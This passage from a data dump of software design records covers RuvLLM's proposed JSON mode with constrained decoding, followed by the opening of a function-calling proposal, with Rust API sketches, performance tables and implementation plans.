enforcement, which is critical for production agentic workflows. Modern frameworks (LangChain, CrewAI, Claude Flow, AutoGen) rely on LLMs producing valid JSON for tool use, function calling, and structured data extraction. Without JSON mode support, RuvLLM cannot reliably power these workflows.\n\n### Current State\n\nRuvLLM's existing `generate` interface returns unstructured text:\n\n```rust\npub trait LlmBackend {\n fn generate(&self, prompt: &str, params: GenerateParams) -> Result;\n fn generate_stream(&self, prompt: &str, params: GenerateParams) -> impl Stream;\n}\n```\n\nUsers requesting JSON output face:\n- **Malformed JSON**: Models generate invalid JSON (~5-15% failure rate even with prompting)\n- **No schema validation**: Output may be valid JSON but violate expected structure\n- **Post-processing overhead**: Parsing, validation, and error handling must be manual\n- **Retry complexity**: Applications must implement retry loops with repair attempts\n\n### Key Challenges\n\n1. **Agentic Framework Integration**: LangChain, CrewAI, Claude Flow require guaranteed JSON for tool/function calling\n2. **Production Reliability**: 95%+ success rate needed; current prompting-based approaches achieve 85-95%\n3. **Schema Enforcement**: Output must conform to JSON Schema or Pydantic models\n4. **Performance**: Constrained decoding adds computational overhead to generation\n\n### Real-World Impact\n\n**Without JSON Mode:**\n```python\n# Current unreliable workflow\nresponse = llm.generate(\"Extract person info as JSON: {text}\")\ntry:\n data = json.loads(response) # May fail\n assert \"name\" in data # May fail\n assert \"age\" in data # May fail\nexcept:\n # Retry with prompt engineering, repair attempts, etc.\n pass\n```\n\n**With JSON Mode:**\n```python\n# Reliable workflow with schema\nschema = {\"type\": \"object\", \"properties\": {\"name\": {\"type\": \"string\"}, \"age\": {\"type\": \"integer\"}}}\nresponse = llm.generate_json(\"Extract person info: {text}\", schema=schema)\n# Guaranteed valid JSON conforming to schema\n```\n\n---\n\n## Decision Drivers\n\n### Reliability Requirements\n- **99%+ valid JSON**: Eliminate malformed JSON failures\n- **Schema conformance**: Guarantee output matches expected structure\n- **Graceful degradation**: Repair mode for minor violations vs strict failure\n\n### Performance Requirements\n- **Minimal overhead**: <10% latency increase for JSON mode\n- **Streaming compatible**: Support streaming JSON generation\n- **Scalable**: Constrained decoding must work with large vocabularies (32K-128K tokens)\n\n### Compatibility Requirements\n- **Framework integration**: Compatible with LangChain, CrewAI, Claude Flow tool use\n- **Schema standards**: Support JSON Schema, Pydantic models, TypeScript interfaces\n- **Backward compatibility**: Existing `generate` interface unchanged\n\n### Developer Experience\n- **Simple API**: Single parameter enables JSON mode\n- **Validation feedback**: Clear error messages on schema violations\n- **Grammar flexibility**: Support custom grammars for domain-specific formats\n\n---\n\n## Considered Options\n\n### Option A: Post-Generation Validation Only\n\nValidate and repair JSON after generation completes.\n\n**Pros:**\n- Zero generation overhead\n- Simple implementation\n- Works with any model\n\n**Cons:**\n- Does not prevent invalid JSON (still 5-15% failures)\n- Repair attempts may fail or produce incorrect data\n- Wasted compute on failed generations\n- Requires retry loops\n\n### Option B: Constrained Decoding (Token-Level Enforcement)\n\nModify logits during generation to enforce JSON grammar at each token.\n\n**Pros:**\n- Guaranteed valid JSON (100% success rate)\n- No retry loops needed\n- Works with streaming generation\n- Can enforce complex grammars\n\n**Cons:**\n- 5-10% latency overhead per token\n- Implementation complexity (state machine for JSON structure)\n- Requires access to model logits\n\n### Option C: Fine-Tuned JSON Models\n\nTrain separate model checkpoints optimized for JSON output.\n\n**Pros:**\n- Best performance (native JSON understanding)\n- No generation overhead\n- Highest quality output\n\n**Cons:**\n- Requires training infrastructure\n- Multiple model variants to maintain\n- Does not generalize to custom schemas\n- High storage/deployment cost\n\n---\n\n## Decision Outcome\n\n**Chosen Option: Option B - Constrained Decoding with Optional Post-Validation**\n\nImplement token-level constrained decoding as the primary JSON mode, with optional post-generation validation for models without logit access. This provides guaranteed JSON validity with acceptable performance overhead.\n\n### Rationale\n\n1. **Reliability first**: Agentic workflows require 99%+ success rates; only constrained decoding guarantees this\n2. **Framework compatibility**: LangChain, CrewAI, Claude Flow expect reliable JSON mode\n3. **Streaming support**: Constrained decoding works with streaming generation\n4. **Graceful fallback**: Post-validation mode for models/backends without logit access\n5. **Industry standard**: Matches llama.cpp (GBNF), Outlines, guidance library approaches\n\n---\n\n## Technical Specifications\n\n### API Design\n\n```rust\n/// JSON Mode configuration for structured output\n#[derive(Debug, Clone)]\npub struct JsonModeConfig {\n /// Optional JSON Schema for validation\n pub schema: Option,\n\n /// Strict mode: fail on invalid JSON (vs repair attempts)\n pub strict: bool,\n\n /// Repair mode: attempt to fix malformed JSON\n pub repair: bool,\n\n /// Grammar file for custom structured formats (GBNF-compatible)\n pub grammar: Option,\n\n /// Enable constrained decoding (vs post-validation only)\n pub constrained_decoding: bool,\n}\n\nimpl Default for JsonModeConfig {\n fn default() -> Self {\n Self {\n schema: None,\n strict: true,\n repair: false,\n grammar: None,\n constrained_decoding: true,\n }\n }\n}\n\n/// Extended generation parameters with JSON mode\n#[derive(Debug, Clone)]\npub struct GenerateParams {\n // Existing fields\n pub max_tokens: usize,\n pub temperature: f32,\n pub top_p: f32,\n\n // New JSON mode\n pub json_mode: Option,\n}\n\n/// LLM Backend trait with JSON mode support\npub trait LlmBackend {\n /// Existing text generation\n fn generate(&self, prompt: &str, params: GenerateParams) -> Result;\n\n /// JSON-structured generation (convenience wrapper)\n fn generate_json(\n &self,\n prompt: &str,\n schema: Option,\n params: GenerateParams\n ) -> Result {\n let mut json_params = params.clone();\n json_params.json_mode = Some(JsonModeConfig {\n schema,\n ..Default::default()\n });\n\n let output = self.generate(prompt, json_params)?;\n serde_json::from_str(&output)\n .map_err(|e| Error::msg(format!(\"Invalid JSON output: {}\", e)))\n }\n\n /// Streaming generation with JSON mode\n fn generate_stream(\n &self,\n prompt: &str,\n params: GenerateParams\n ) -> impl Stream>;\n}\n```\n\n### JSON Schema Support\n\n```rust\nuse schemars::schema::RootSchema;\nuse serde_json::Value;\n\n/// JSON Schema for validation\n#[derive(Debug, Clone)]\npub struct JsonSchema {\n /// JSON Schema specification (Draft 7 or 2020-12)\n pub schema: RootSchema,\n}\n\nimpl JsonSchema {\n /// Create from JSON Schema string\n pub fn from_str(schema_json: &str) -> Result {\n let schema: RootSchema = serde_json::from_str(schema_json)?;\n Ok(Self { schema })\n }\n\n /// Create from Pydantic-style Rust struct\n pub fn from_type() -> Self {\n let schema = schemars::schema_for!(T);\n Self { schema }\n }\n\n /// Validate JSON value against schema\n pub fn validate(&self, value: &Value) -> Result<()> {\n let validator = jsonschema::validator_for(&serde_json::to_value(&self.schema)?)?;\n validator.validate(value)\n .map_err(|e| Error::msg(format!(\"Schema validation failed: {}\", e)))\n }\n}\n```\n\n### Constrained Decoding Implementation\n\n```rust\n/// Token-level JSON constraint enforcer\npub struct JsonConstraintDecoder {\n /// Current state in JSON grammar (object, array, key, value, etc.)\n state: JsonState,\n\n /// Stack of open structures (brackets, braces)\n structure_stack: Vec,\n\n /// Expected schema at current position\n schema_context: Option,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq)]\nenum JsonState {\n Start,\n ObjectStart,\n ObjectKey,\n ObjectColon,\n ObjectValue,\n ArrayStart,\n ArrayValue,\n String,\n Number,\n Boolean,\n Null,\n End,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq)]\nenum StructureType {\n Object,\n Array,\n}\n\nimpl JsonConstraintDecoder {\n /// Apply logit bias based on current state\n pub fn apply_constraints(&mut self, logits: &mut [f32], vocab: &Vocabulary) -> Result<()> {\n match self.state {\n JsonState::Start => {\n // Only allow '{' or '['\n self.mask_except(logits, vocab, &[\"{\", \"[\"])?;\n }\n JsonState::ObjectStart => {\n // Allow '\"' for key or '}' for empty object\n self.mask_except(logits, vocab, &[\"\\\"\", \"}\"])?;\n }\n JsonState::ObjectKey => {\n // Must be string token (continue string or close with \")\n self.allow_string_tokens(logits, vocab)?;\n }\n JsonState::ObjectColon => {\n // Must be ':'\n self.mask_except(logits, vocab, &[\":\"])?;\n }\n JsonState::ObjectValue => {\n // Allow any valid JSON value start\n self.allow_value_start(logits, vocab)?;\n }\n JsonState::ArrayValue => {\n // Allow any valid JSON value start or ']' to close\n self.allow_value_start(logits, vocab)?;\n self.allow_token(logits, vocab, \"]\")?;\n }\n // ... other states\n _ => {}\n }\n\n Ok(())\n }\n\n /// Update state based on generated token\n pub fn update_state(&mut self, token: &str) -> Result<()> {\n match (self.state, token) {\n (JsonState::Start, \"{\") => {\n self.structure_stack.push(StructureType::Object);\n self.state = JsonState::ObjectStart;\n }\n (JsonState::Start, \"[\") => {\n self.structure_stack.push(StructureType::Array);\n self.state = JsonState::ArrayStart;\n }\n (JsonState::ObjectStart, \"\\\"\") => {\n self.state = JsonState::ObjectKey;\n }\n (JsonState::ObjectKey, \"\\\"\") => {\n self.state = JsonState::ObjectColon;\n }\n // ... state transitions\n _ => return Err(Error::msg(\"Invalid JSON token sequence\"))\n }\n Ok(())\n }\n\n /// Check if generation is complete\n pub fn is_complete(&self) -> bool {\n self.state == JsonState::End && self.structure_stack.is_empty()\n }\n\n fn mask_except(&self, logits: &mut [f32], vocab: &Vocabulary, allowed: &[&str]) -> Result<()> {\n // Set all logits to -inf except allowed tokens\n logits.iter_mut().for_each(|l| *l = f32::NEG_INFINITY);\n for token in allowed {\n if let Some(id) = vocab.token_to_id(token) {\n logits[id] = 0.0; // Reset to neutral\n }\n }\n Ok(())\n }\n}\n```\n\n### Schema-Aware Constraints\n\n```rust\nimpl JsonConstraintDecoder {\n /// Apply schema constraints at current position\n fn apply_schema_constraints(&mut self, logits: &mut [f32], vocab: &Vocabulary) -> Result<()> {\n if let Some(schema) = &self.schema_context {\n match schema {\n SchemaNode::String => {\n // Only allow string tokens\n self.allow_string_tokens(logits, vocab)?;\n }\n SchemaNode::Integer => {\n // Only allow numeric tokens (no decimal point)\n self.allow_integer_tokens(logits, vocab)?;\n }\n SchemaNode::Boolean => {\n // Only allow 'true' or 'false'\n self.mask_except(logits, vocab, &[\"true\", \"false\"])?;\n }\n SchemaNode::Enum(values) => {\n // Only allow tokens from enum values\n let allowed: Vec<&str> = values.iter().map(|s| s.as_str()).collect();\n self.mask_except(logits, vocab, &allowed)?;\n }\n SchemaNode::Object(props) => {\n // Only allow property names from schema\n let allowed: Vec<&str> = props.keys().map(|s| s.as_str()).collect();\n self.allow_tokens(logits, vocab, &allowed)?;\n }\n // ... other schema types\n }\n }\n Ok(())\n }\n}\n```\n\n### Grammar-Based Generation (GBNF Support)\n\n```rust\n/// GBNF (llama.cpp) compatible grammar\n#[derive(Debug, Clone)]\npub struct Grammar {\n /// Grammar rules in GBNF format\n rules: HashMap,\n /// Start rule name\n start: String,\n}\n\n#[derive(Debug, Clone)]\nenum GrammarRule {\n /// Terminal: exact string match\n Terminal(String),\n /// Reference to another rule\n Reference(String),\n /// Sequence: rules in order\n Sequence(Vec),\n /// Choice: one of multiple rules\n Choice(Vec),\n /// Optional: zero or one\n Optional(Box),\n /// Repeat: zero or more\n Repeat(Box),\n}\n\nimpl Grammar {\n /// Parse GBNF grammar string\n pub fn from_gbnf(grammar_str: &str) -> Result {\n // Parse GBNF format (similar to llama.cpp)\n // Example:\n // root ::= object\n // object ::= \"{\" ws members ws \"}\"\n // members ::= pair (ws \",\" ws pair)*\n // pair ::= string ws \":\" ws value\n // ...\n todo!(\"GBNF parser implementation\")\n }\n\n /// Create JSON grammar\n pub fn json() -> Self {\n // Built-in JSON grammar\n todo!(\"Built-in JSON grammar\")\n }\n\n /// Apply grammar constraints to logits\n pub fn apply_constraints(\n &self,\n current_state: &GrammarState,\n logits: &mut [f32],\n vocab: &Vocabulary\n ) -> Result<()> {\n // Determine valid next tokens based on grammar state\n let valid_tokens = self.get_valid_tokens(current_state)?;\n\n // Mask logits for invalid tokens\n logits.iter_mut().for_each(|l| *l = f32::NEG_INFINITY);\n for token in valid_tokens {\n if let Some(id) = vocab.token_to_id(&token) {\n logits[id] = 0.0;\n }\n }\n\n Ok(())\n }\n}\n```\n\n### Post-Validation Mode (Fallback)\n\n```rust\n/// JSON repair and validation (for backends without logit access)\npub struct JsonValidator {\n schema: Option,\n strict: bool,\n repair: bool,\n}\n\nimpl JsonValidator {\n /// Validate and optionally repair JSON output\n pub fn validate(&self, output: &str) -> Result {\n // Attempt to parse JSON\n match serde_json::from_str::(output) {\n Ok(value) => {\n // Valid JSON, check schema\n if let Some(schema) = &self.schema {\n schema.validate(&value)?;\n }\n Ok(output.to_string())\n }\n Err(e) if self.repair => {\n // Attempt repair\n self.repair_json(output)\n }\n Err(e) if self.strict => {\n Err(Error::msg(format!(\"Invalid JSON: {}\", e)))\n }\n Err(_) => {\n // Non-strict mode: return as-is with warning\n Ok(output.to_string())\n }\n }\n }\n\n fn repair_json(&self, output: &str) -> Result {\n // Common repairs:\n // 1. Add missing closing braces/brackets\n // 2. Fix trailing commas\n // 3. Escape unescaped quotes\n // 4. Remove markdown code fences\n\n let mut repaired = output.to_string();\n\n // Remove markdown code fences\n repaired = repaired\n .trim_start_matches(\"```json\")\n .trim_start_matches(\"```\")\n .trim_end_matches(\"```\")\n .trim()\n .to_string();\n\n // Count open/close braces and brackets\n let open_braces = repaired.matches('{').count();\n let close_braces = repaired.matches('}').count();\n let open_brackets = repaired.matches('[').count();\n let close_brackets = repaired.matches(']').count();\n\n // Add missing closing characters\n for _ in close_braces..open_braces {\n repaired.push('}');\n }\n for _ in close_brackets..open_brackets {\n repaired.push(']');\n }\n\n // Validate repaired JSON\n serde_json::from_str::(&repaired)\n .map(|_| repaired)\n .map_err(|e| Error::msg(format!(\"Repair failed: {}\", e)))\n }\n}\n```\n\n---\n\n## Implementation Plan\n\n### Phase 1: Basic JSON Validation (Week 1)\n**Effort:** 2-3 days\n\n1. Implement `JsonModeConfig` and `JsonSchema` types\n2. Add `json_mode` field to `GenerateParams`\n3. Implement post-generation validation with `JsonValidator`\n4. Add `generate_json` convenience method\n5. Tests for validation and repair\n\n**Deliverables:**\n- Post-validation JSON mode working with all backends\n- Schema validation with JSON Schema Draft 7\n- Basic repair for common issues\n\n### Phase 2: Constrained Decoding (Week 2-3)\n**Effort:** 5-7 days\n\n1. Implement `JsonConstraintDecoder` state machine\n2. Integrate with Candle backend logit processing\n3. Add schema-aware constraints\n4. Streaming support for JSON mode\n5. Benchmark performance overhead\n\n**Deliverables:**\n- Constrained decoding for Candle backend\n- 99%+ valid JSON success rate\n- <10% latency overhead\n- Streaming JSON generation\n\n### Phase 3: Grammar Support (Week 4-5)\n**Effort:** 7-10 days\n\n1. Implement GBNF grammar parser\n2. Build grammar state machine\n3. Create built-in grammars (JSON, JSONL, CSV, XML)\n4. Custom grammar API\n5. Grammar compilation and optimization\n\n**Deliverables:**\n- GBNF-compatible grammar system\n- Built-in grammars for common formats\n- Custom grammar support\n\n### Phase 4: Integration & Optimization (Week 6)\n**Effort:** 3-5 days\n\n1. Integrate with mistral-rs backend (ADR-008)\n2. Framework adapters (LangChain, CrewAI)\n3. Performance optimization (caching valid tokens)\n4. Documentation and examples\n\n**Deliverables:**\n- Framework integration examples\n- Optimized constraint checking\n- Comprehensive documentation\n\n---\n\n## Performance Impact\n\n### Latency Overhead\n\n| Mode | Overhead | Notes |\n|------|----------|-------|\n| No JSON mode | 0% | Baseline |\n| Post-validation only | <1% | Validation after generation |\n| Constrained decoding | 5-10% | Per-token logit masking |\n| Grammar-based | 8-12% | Complex grammar state machine |\n\n### Memory Overhead\n\n| Component | Memory | Notes |\n|-----------|--------|-------|\n| JSON state machine | ~1KB | Negligible |\n| Schema tree | 10-100KB | Depends on schema complexity |\n| Grammar rules | 50-500KB | GBNF grammar compilation |\n| Valid token cache | 100-500KB | Per-state valid token sets |\n\n### Reliability Improvement\n\n| Method | Valid JSON Rate | Schema Conformance |\n|--------|-----------------|-------------------|\n| Prompt engineering only | 85-95% | 70-85% |\n| Post-validation + repair | 95-98% | 85-95% |\n| Constrained decoding | 99.9%+ | 99%+ |\n\n---\n\n## Consequences\n\n### Positive Consequences\n\n1. **Production reliability**: 99%+ success rate enables reliable agentic workflows\n2. **Framework compatibility**: Direct integration with LangChain, CrewAI, Claude Flow\n3. **Developer experience**: Simple API eliminates retry loops and error handling\n4. **Streaming support**: JSON mode works with streaming generation\n5. **Future extensibility**: Grammar support enables custom structured formats\n\n### Negative Consequences\n\n1. **Performance overhead**: 5-10% latency increase for constrained decoding\n2. **Implementation complexity**: State machine and grammar parsing add code complexity\n3. **Backend limitations**: Not all backends support logit access (fallback to post-validation)\n4. **Token vocabulary dependency**: Constraint effectiveness depends on tokenizer granularity\n\n### Neutral Consequences\n\n1. **Optional feature**: JSON mode is opt-in via `GenerateParams`\n2. **Graceful degradation**: Falls back to post-validation for unsupported backends\n3. **Schema flexibility**: Supports JSON Schema, Pydantic, and custom grammars\n\n### Risk Mitigation\n\n| Risk | Mitigation |\n|------|------------|\n| High latency overhead | Cache valid token sets per state; optimize state transitions |\n| Complex grammar bugs | Extensive test suite with fuzzing; start with simple JSON grammar |\n| Tokenizer edge cases | Handle subword tokens; fallback to character-level constraints |\n| Schema complexity | Limit schema depth; provide performance warnings for complex schemas |\n\n---\n\n## Alternatives Considered\n\n### Prompt Engineering Only\n\n- **Rejected**: 85-95% success rate insufficient for production\n- **Consideration**: Still useful as complementary technique\n\n### Model-Specific JSON Modes\n\n- **Rejected**: Requires separate models; doesn't generalize to custom schemas\n- **Consideration**: Could offer as optimization for common cases\n\n### External Validation Services\n\n- **Rejected**: Adds network latency; doesn't prevent generation failures\n- **Consideration**: Could integrate as async validation for auditing\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture (HNSW, Graph Store)\n- **ADR-002**: RuvLLM Integration with Ruvector\n- **ADR-007**: Security Review & Technical Debt\n- **ADR-008**: mistral-rs Integration for Production-Scale LLM Serving\n\n---\n\n## Compliance and Standards\n\n### JSON Schema Standards\n- JSON Schema Draft 7 (primary support)\n- JSON Schema 2020-12 (future)\n- Pydantic model compatibility\n\n### Grammar Standards\n- GBNF (llama.cpp) compatibility\n- EBNF subset for custom grammars\n- Regex-based constraints (limited support)\n\n### Framework Compatibility\n- LangChain StructuredOutputParser\n- CrewAI tool schemas\n- Claude Flow structured outputs\n- AutoGen function calling\n\n### Testing Requirements\n- Unit tests for state machine transitions\n- Integration tests with sample schemas\n- Fuzzing for grammar parser\n- Benchmark suite for performance\n- Framework integration tests\n\n### Documentation Requirements\n- JSON mode API guide\n- Schema definition tutorial\n- Grammar syntax reference\n- Framework integration examples\n- Performance optimization guide\n\n---\n\n## References\n\n1. **llama.cpp GBNF**: https://github.com/ggerganov/llama.cpp/blob/master/grammars/README.md\n2. **Outlines Library**: https://github.com/outlines-dev/outlines - Structured text generation\n3. **Guidance Library**: https://github.com/guidance-ai/guidance - Constrained generation\n4. **JSON Schema**: https://json-schema.org/specification\n5. **LangChain StructuredOutput**: https://python.langchain.com/docs/modules/model_io/output_parsers/structured\n6. **OpenAI JSON Mode**: https://platform.openai.com/docs/guides/structured-outputs\n7. **Anthropic Tool Use**: https://docs.anthropic.com/en/docs/build-with-claude/tool-use\n\n---\n\n## Implementation Status\n\n| Component | Status | Effort | Notes |\n|-----------|--------|--------|-------|\n| JsonModeConfig types | Pending | 0.5 days | Basic config structures |\n| JsonSchema validation | Pending | 1 day | JSON Schema Draft 7 support |\n| Post-validation mode | Pending | 1 day | Fallback for all backends |\n| JSON repair | Pending | 1 day | Common malformation fixes |\n| JsonConstraintDecoder | Pending | 3 days | State machine for JSON grammar |\n| Schema-aware constraints | Pending | 2 days | Schema-driven logit masking |\n| Streaming JSON | Pending | 2 days | Stream-compatible constraints |\n| GBNF parser | Pending | 5 days | Grammar definition language |\n| Grammar state machine | Pending | 3 days | Generic grammar constraints |\n| Built-in grammars | Pending | 2 days | JSON, JSONL, CSV, XML |\n| Candle integration | Pending | 2 days | Wire to Candle backend |\n| mistral-rs integration | Pending | 2 days | Wire to mistral-rs backend |\n| Framework adapters | Pending | 3 days | LangChain, CrewAI examples |\n| Performance optimization | Pending | 2 days | Token caching, fast paths |\n| Documentation | Pending | 3 days | API guide, examples, tutorials |\n\n**Total Effort:** ~30-35 days (1 developer)\n**Phased Delivery:** 4-6 weeks\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-20 | Ruvector Architecture Team | Initial proposal |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-009-structured-output.md", "created_at": "2026-03-28T11:58:48.804513+00:00", "content_hash": "2756484d0c7a76628f743bebdc228f2481f5b9872e9c508505a443f11705474b"} +{"id": "d148d009-fa1a-421f-866d-4ce3148f375f", "source": "adr", "text": "# ADR-010: Function Calling / Tool Use in RuvLLM\n\n**Status:** Proposed\n**Date:** 2026-01-20\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** LLM Capabilities / Agent Framework Integration\n\n---\n\n## Context and Problem Statement\n\nRuvLLM currently provides text generation capabilities but lacks structured function calling (tool use) support, which is essential for integration with modern agent frameworks like LangChain, LlamaIndex, CrewAI, and AutoGPT. Function calling enables models to interact with external tools, APIs, and databases in a structured, type-safe manner.\n\n### Current State\n\nRuvLLM's generation API is limited to:\n- Text-in, text-out generation\n- No structured output parsing\n- No tool/function definition support\n- Manual prompt engineering required for tool interactions\n- No support for multi-turn tool conversations\n\n### Key Challenges\n\n1. **Agent Framework Integration**: Popular frameworks expect OpenAI-compatible function calling APIs\n2. **Structured Outputs**: Models need to generate valid JSON function calls, not freeform text\n3. **Multi-Turn Conversations**: Tool results must be fed back to the model for reasoning\n4. **Parallel Tool Calls**: Efficient agents need to call multiple tools simultaneously\n5. **Model Format Compatibility**: Different models (Llama, Mistral, Qwen) use different tool calling formats\n\n---\n\n## Decision Drivers\n\n### Functional Requirements\n- **Tool Definitions**: JSON Schema-based function signatures\n- **Tool Choice Control**: Auto, none, required, or specific function selection\n- **Parallel Calls**: Multiple function calls in a single response\n- **Result Integration**: Feeding tool outputs back to the model\n- **Type Safety**: Validate function arguments against schemas\n\n### Compatibility Requirements\n- **OpenAI API Compatible**: Drop-in replacement for OpenAI function calling\n- **Anthropic Tool Use**: Map to Anthropic's tool_use format\n- **Framework Integration**: Direct support for LangChain, LlamaIndex, CrewAI\n- **Model Agnostic**: Work across Llama 3.1+, Mistral, Qwen, custom models\n\n### Performance Requirements\n- **Constrained Generation**: Force valid JSON output via logit biasing\n- **Low Latency**: <10ms overhead for tool call parsing\n- **Streaming Support**: Stream tool calls as they're generated\n- **Batching**: Process multiple tool calls efficiently\n\n---\n\n## Considered Options\n\n### Option A: Prompt Engineering Only\n\nUse structured prompts to request tool calls in JSON format, parse with regex/JSON parsers.\n\n**Pros:**\n- No core changes to generation logic\n- Works with any model\n- Simple implementation\n\n**Cons:**\n- Unreliable: models may generate invalid JSON\n- No type safety guarantees\n- Poor support for parallel tool calls\n- Requires extensive prompt tuning per model\n\n### Option B: Constrained Generation with Grammar\n\nImplement constrained decoding using formal grammars (GBNF, JSON Schema) to force valid tool calls.\n\n**Pros:**\n- Guarantees valid JSON output\n- Type-safe by construction\n- Works across model architectures\n- Best reliability for production\n\n**Cons:**\n- Complex implementation (logit masking)\n- Requires grammar compiler\n- Potential performance overhead\n\n### Option C: Model-Specific Chat Templates\n\nLeverage each model family's native tool calling format via chat templates.\n\n**Pros:**\n- Optimal for models with native tool support (Llama 3.1+, Mistral)\n- Minimal overhead\n- Leverages model training\n\n**Cons:**\n- Fragmented implementation across models\n- No support for models without native tool calling\n- Template maintenance burden\n\n---\n\n## Decision Outcome\n\n**Chosen Option: Hybrid Approach - Option B (Constrained Generation) + Option C (Chat Templates)**\n\nImplement constrained generation with grammar-based validation as the foundation, with chat template optimizations for models with native tool calling support.\n\n### Rationale\n\n1. **Reliability First**: Constrained generation guarantees valid outputs for critical production use cases\n2. **Performance Optimization**: Chat templates optimize for models with native support (Llama 3.1+, Mistral)\n3. **Universal Compatibility**: Fallback to constrained generation for any model\n4. **Future-Proof**: New models can be added via chat templates without core changes\n\n---\n\n## Technical Specifications\n\n### Tool Definition Schema\n\n```rust\nuse serde::{Deserialize, Serialize};\nuse schemars::JsonSchema;\n\n/// Tool/function definition for function calling\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ToolDefinition {\n /// Function name (must be valid identifier)\n pub name: String,\n\n /// Human-readable description for the model\n pub description: String,\n\n /// JSON Schema for function parameters\n pub parameters: JsonSchema,\n\n /// Required parameter names\n #[serde(default)]\n pub required: Vec,\n}\n\n/// JSON Schema representation\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct JsonSchema {\n #[serde(rename = \"type\")]\n pub schema_type: String,\n\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub properties: Option>,\n\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub items: Option>,\n\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub description: Option,\n\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub enum_values: Option>,\n}\n\n/// Tool choice mode for generation\n#[derive(Debug, Clone, Serialize, Deserialize)]\n#[serde(rename_all = \"snake_case\")]\npub enum ToolChoice {\n /// Model decides whether to call tools\n Auto,\n\n /// Model must not call any tools\n None,\n\n /// Model must call at least one tool\n Required,\n\n /// Model must call this specific function\n Specific(String),\n}\n```\n\n### Tool Call Request and Response\n\n```rust\n/// Request with tool calling support\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ToolCallRequest {\n /// User message/prompt\n pub messages: Vec,\n\n /// Available tools/functions\n #[serde(default)]\n pub tools: Vec,\n\n /// Tool choice mode\n #[serde(default)]\n pub tool_choice: ToolChoice,\n\n /// Enable parallel tool calls (default: true)\n #[serde(default = \"default_true\")]\n pub parallel_tool_calls: bool,\n\n /// Standard generation parameters\n #[serde(flatten)]\n pub params: GenerateParams,\n}\n\n/// Tool call in model response\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ToolCall {\n /// Unique identifier for this tool call\n pub id: String,\n\n /// Type (always \"function\" for now)\n #[serde(rename = \"type\")]\n pub call_type: String,\n\n /// Function call details\n pub function: FunctionCall,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct FunctionCall {\n /// Function name (must match a tool definition)\n pub name: String,\n\n /// JSON-encoded function arguments\n pub arguments: serde_json::Value,\n}\n\n/// Chat message with tool call support\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct ChatMessage {\n /// Role: system, user, assistant, tool\n pub role: String,\n\n /// Text content\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub content: Option,\n\n /// Tool calls (for assistant messages)\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub tool_calls: Option>,\n\n /// Tool call ID (for tool result messages)\n #[serde(skip_serializing_if = \"Option::is_none\")]\n pub tool_call_id: Option,\n}\n\nfn default_true() -> bool { true }\n```\n\n### Chat Template Integration\n\nDifferent models require different formatting for tool calling:\n\n```rust\n/// Chat template for tool calling\npub trait ToolCallingTemplate {\n /// Format messages with tool definitions\n fn format_with_tools(\n &self,\n messages: &[ChatMessage],\n tools: &[ToolDefinition],\n tool_choice: &ToolChoice,\n ) -> Result;\n\n /// Parse tool calls from model output\n fn parse_tool_calls(&self, output: &str) -> Result>;\n\n /// Check if model has native tool calling support\n fn has_native_support(&self) -> bool;\n}\n\n/// Llama 3.1+ tool calling format\npub struct Llama31ToolTemplate;\n\nimpl ToolCallingTemplate for Llama31ToolTemplate {\n fn format_with_tools(\n &self,\n messages: &[ChatMessage],\n tools: &[ToolDefinition],\n tool_choice: &ToolChoice,\n ) -> Result {\n // Llama 3.1 uses special <|python_tag|> tokens for tools\n let mut prompt = String::new();\n\n // Add tool definitions\n prompt.push_str(\"<|start_header_id|>system<|end_header_id|>\\n\\n\");\n prompt.push_str(\"Available tools:\\n\");\n for tool in tools {\n prompt.push_str(&format!(\n \"<|python_tag|>{}<|eom_id|>\\n\",\n serde_json::to_string_pretty(tool)?\n ));\n }\n\n // Add conversation history\n for msg in messages {\n prompt.push_str(&format!(\n \"<|start_header_id|>{}<|end_header_id|>\\n\\n{}<|eom_id|>\\n\",\n msg.role,\n msg.content.as_deref().unwrap_or(\"\")\n ));\n }\n\n // Start assistant response\n prompt.push_str(\"<|start_header_id|>assistant<|end_header_id|>\\n\\n\");\n\n Ok(prompt)\n }\n\n fn parse_tool_calls(&self, output: &str) -> Result> {\n // Parse <|python_tag|>{\"name\": \"...\", \"arguments\": {...}}<|eom_id|>\n // Implementation details omitted for brevity\n todo!(\"Parse Llama 3.1 tool call format\")\n }\n\n fn has_native_support(&self) -> bool { true }\n}\n\n/// Mistral tool calling format\npub struct MistralToolTemplate;\n\nimpl ToolCallingTemplate for MistralToolTemplate {\n fn format_with_tools(\n &self,\n messages: &[ChatMessage],\n tools: &[ToolDefinition],\n tool_choice: &ToolChoice,\n ) -> Result {\n // Mistral uses [AVAILABLE_TOOLS] and [/AVAILABLE_TOOLS] markers\n let mut prompt = String::new();\n\n prompt.push_str(\"[AVAILABLE_TOOLS]\\n\");\n prompt.push_str(&serde_json::to_string(tools)?);\n prompt.push_str(\"\\n[/AVAILABLE_TOOLS]\\n\\n\");\n\n // Add conversation\n for msg in messages {\n prompt.push_str(&format!(\"[INST] {} [/INST]\\n\", msg.content.as_deref().unwrap_or(\"\")));\n }\n\n Ok(prompt)\n }\n\n fn parse_tool_calls(&self, output: &str) -> Result> {\n // Parse [TOOL_CALLS] ... [/TOOL_CALLS]\n todo!(\"Parse Mistral tool call format\")\n }\n\n fn has_native_support(&self) -> bool { true }\n}\n\n/// Qwen tool calling format\npub struct QwenToolTemplate;\n\n/// Generic XML-based format for models without native support\npub struct GenericXmlToolTemplate;\n\nimpl ToolCallingTemplate for GenericXmlToolTemplate {\n fn format_with_tools(\n &self,\n messages: &[ChatMessage],\n tools: &[ToolDefinition],\n 